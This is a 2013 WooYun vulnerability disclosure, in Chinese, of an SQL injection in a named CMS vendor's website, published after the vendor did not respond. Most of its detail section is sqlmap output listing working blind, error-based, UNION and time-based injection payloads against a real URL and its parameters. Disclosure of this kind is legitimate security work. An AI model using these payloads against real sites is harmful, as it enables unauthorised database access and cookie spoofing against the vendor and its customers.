当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036474

漏洞标题:视创网站sql 注入漏洞一枚

相关厂商:视创

漏洞作者: shafreeck

提交时间:2013-09-09 19:05

修复时间:2013-10-24 19:06

公开时间:2013-10-24 19:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-10-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

http://www.vii.com.cn/topic.php?channelID=2&topicID=18 对参数过滤不严,导致sql 注入,可获取数据库内容,同时由于session 保存在mysql 中,可能造成cookie 欺骗。
由于视讯作为CMS 提供商,其服务客户应都有这个漏洞。

详细说明:

sqlmap 输出:

Place: GET
Parameter: topicID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: channelID=2&topicID=18 AND 7368=7368
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: channelID=2&topicID=18 AND (SELECT 1676 FROM(SELECT COUNT(*),CONCAT(0x71666b6971,(SELECT (CASE WHEN (1676=1676) THEN 1 ELSE 0 END)),0x71726b6871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Place: GET
Parameter: channelID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: channelID=2 AND 9418=9418&topicID=18
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: channelID=2 AND (SELECT 5264 FROM(SELECT COUNT(*),CONCAT(0x71666b6971,(SELECT (CASE WHEN (5264=5264) THEN 1 ELSE 0 END)),0x71726b6871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&topicID=18
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: channelID=-8971 UNION ALL SELECT CONCAT(0x71666b6971,0x73546871627650496854,0x71726b6871)#&topicID=18
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: channelID=2 AND SLEEP(5)&topicID=18


漏洞证明:

2013-09-08 14:17:25的屏幕截图.png

修复方案:

检查参数

版权声明:转载请注明来源 shafreeck@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论